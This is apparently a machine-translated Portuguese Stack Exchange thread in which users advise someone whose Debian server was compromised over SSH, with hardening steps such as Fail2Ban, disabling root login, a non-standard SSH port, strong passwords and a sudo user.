  1. É debian-armhf seu nome de host? Ou você usa uma instalação padrão com configurações padrão? Não há problema com isso, mas você não deve permitir que o host seja exposto diretamente à Internet (ou seja, não protegido pelo seu modem, pelo menos).

  2. Parece que o verdadeiro problema está vindo 222.186.30.209 (Vejo http://anti-hacker-alliance.com/index.php?ip=222.186.30.209). Você não deve prestar muita atenção em ver o IP da Microsoft. IPs podem mais ou menos ser falsificados / spoofados com bastante facilidade.

  3. Uma maneira comum de se conectar à Internet é encaminhar uma lista conhecida de portas do seu IP público (por exemplo, 8.8.8.8) para seu local (por exemplo, 192.168.1.12).

    • Por exemplo, não encaminhe todas as conexões de entrada 8.8.8.8 (público) para 192.168.1.12 (local).

    • Encaminhar apenas portas 22 e 25 (ssh e correio recebido, respectivamente). Você deve, claro, ter atualizado ssh e smtp pacotes / bibliotecas também.

  4. Qual é o próximo? Desconecte o host e altere qualquer senha (em qualquer computador associado à organização) que esteja codificada em scripts de shell (que vergonha!) /etc/shadow.


11



1. sim debian-armhf é o nome do host. 2. Sim, li esse artigo e entrei em contato com a Microsoft pelo site cest.microsoft.com. 3. Eu tinha enviado apenas 25 e 22, não havia mais nada encaminhado. 4. Eu farei isso - vaid
"IP pode ser falso mais ou menos facilmente": não sou especialista em segurança nem em rede. Como isso é possível? - kevinarpe
@kevinarpe Isso provavelmente é muito melhor como uma questão separada. - Michael Kjörling
Vejo stackoverflow.com/questions/5180557/… e superuser.com/questions/37687/… - Archemar
@Archemar: SSH é TCP; A falsificação do IP de origem TCP é difícil, se não impossível. Além disso, conforme estabelecido acima, o IP da Microsoft pertence ao serviço em nuvem do Azure, o que significa que qualquer pessoa poderia estar ganhando tempo no serviço para atacar outras pessoas. - nneonneo


Como outros afirmaram, é bastante claro que a segurança do seu servidor foi comprometida. O mais seguro é limpar essa máquina e reinstalar.

Para responder à segunda parte da sua pergunta, se você não puder usar a chave pública auth, recomendo pelo menos configurar o Fail2Ban e executar o SSH em uma porta não padrão. Eu também desabilito o acesso root SSH.

Fail2Ban ajudará a mitigar ataques de força bruta banindo endereços IP que não conseguem efetuar login em um certo número de vezes.

Configurar o sshd para escutar em uma porta não padrão ajudará, pelo menos, a reduzir um pouco a visibilidade do seu servidor SSH. Desativar o logon raiz também reduz um pouco o perfil de ataque. Dentro /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Com o login root desativado, você precisará alternar para root com su uma vez conectado, ou (mais preferencialmente) use sudo para executar comandos privilegiados.


9



Eu fiz os dois, obrigado pelo conselho. - vaid


Servidores SSH estão constantemente sob ataque na internet. Algumas coisas que você faz:

  1. Certifique-se de usar uma senha aleatória muito segura, para máquinas acessíveis pela Internet. Quero dizer, como 16 caracteres ou mais e completamente aleatório. Use um gerenciador de senhas para não precisar memorizá-lo. Se você pode memorizar sua senha, é muito simples.

  2. Se você não precisa de SSH, desligue-o. Se você precisar dele, mas não precisar dele publicamente acessível, execute-o em um número de porta alto e não padrão. Isso reduzirá drasticamente as tentativas de invasão. Sim, um hacker dedicado pode fazer uma varredura de porta, mas os robôs automatizados não o encontrarão.

O snippet do seu log de autenticação mostra uma tentativa falhada. No entanto, se você olhar mais longe, sem dúvida verá um login bem-sucedido. Você usa uma senha simples, então é trivial para um bot entrar.

Você precisa isolar esta máquina da rede. Com muito cuidado, pegue o que você precisa e então limpe-o.


8



Quando eu costumava rodar o ssh na porta 22, eu normalmente teria milhares de tentativas de hackers por dia. Quando mudei para um número de porta alto (acima de 50000), essas tentativas de hackers pararam completamente. - user1751825
16 caracteres não são seguros o suficiente. O logout do usuário também é útil. Apenas não faça um bloqueio permanente, faça-o expirar, mas faça algo como uma hora. Desta forma, você ainda pode acessar o servidor. - Ramhound
Observe que a etapa 2) não é estritamente necessária para segurança, contanto que você tenha uma autenticação forte (chave pública ou uma senha forte). - user20574
@Ramhound Por que não? Mesmo se fosse apenas letras minúsculas, 16 letras minúsculas dão 43608742899428874059776 possibilidades, o que é impraticável para a força bruta, especialmente para uma força bruta online, onde o servidor faz você esperar toda vez que você falhar em uma tentativa. - user20574
@ user20574 Embora não seja estritamente necessário, reduzir a visibilidade do serviço SSH ainda é muito útil. Mesmo que não seja por outra razão que não seja a desordem dos seus registros. Se uma máquina só precisa ser acessível a um grupo limitado de pessoas, uma porta não padrão é um passo perfeitamente razoável para melhorar a segurança. - user1751825


A primeira coisa que alguém / todos devem fazer depois de configurar um servidor Linux / Unix de frente é desativar imediatamente root.

Seu sistema foi comprometido. Você tem um log de histórico em execução que pode ser legal de se observar até certo ponto. Mas, honestamente, dissecar os detalhes é um pouco exigente e não ajuda a proteger seu servidor. Ele mostra todos os tipos de disparates que acontecem quando um botnet gera malware - o que é mais provável que infecte seu servidor - infecta um sistema Linux. o resposta fornecida por @MariusMatutiae é bom e bem pensado e há outros que repetem que você foi hackeado via root acesso que é um sonho molhado de malware / botnet.

Há algumas explicações sobre como desativar root mas vou afirmar por experiência pessoal que quase tudo que vai além do que vou descrever agora é um exagero. É isso que você devemos ter feito quando você configurar o servidor pela primeira vez:

  1. Crie um novo usuário com sudo direitos: Crie um novo usuário com um novo nome - algo como cooldude- usando um comando como sudo adduser cooldude se você estiver usando o Ubuntu ou outro tipo de sistema Debian. Em seguida, basta editar manualmente o sudo arquivo usando um comando como este sudo nano /etc/sudoers e adicione uma linha como cooldude ALL=(ALL:ALL) ALL abaixo da linha equivalente que deve ler root ALL=(ALL:ALL) ALL. Feito isso, faça o login como cooldude e testar o sudo comando com um comando como sudo w- algo básico e não destrutivo - para ver se o sudo trabalho de direitos. Você pode ser solicitado por uma senha. Isso funciona? Tudo bom! Mover para o próximo passo.
  2. Bloqueie o root conta: Ok, agora isso cooldude está no comando com sudo direitos, faça o login como cooldude e execute este comando para bloquear a conta root sudo passwd -l root. Se de alguma forma você criou um par de chaves SSH para root, Abrir /root/.ssh/authorized_keys e remova as chaves. Ou melhor ainda, basta renomear esse arquivo authorized_keys_OFF como isso, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF para efetivamente desativar as chaves SSH. Eu prefiro o mais tarde, porque na chance de mão curta você ainda precisa de senha menos login, você pode simplesmente mover o arquivo de volta para o nome original e você deve estar pronto para ir.

FWIW, eu tenho gerenciado dezenas de servidores Linux ao longo dos anos (décadas?) E sei por experiência que simplesmente desabilitando root- e configurar um novo usuário com sudo direitos - é a maneira mais simples e básica de proteger qualquer sistema Linux. Eu nunca tive que lidar com nenhum tipo de comprometimento via SSH root está desabilitado. E sim, você pode ver tentativas de login através do auth.log mas eles são sem sentido; E se root está desativado, então essas tentativas nunca serão somadas. Apenas sente-se e observe as tentativas falharem indefinidamente!


6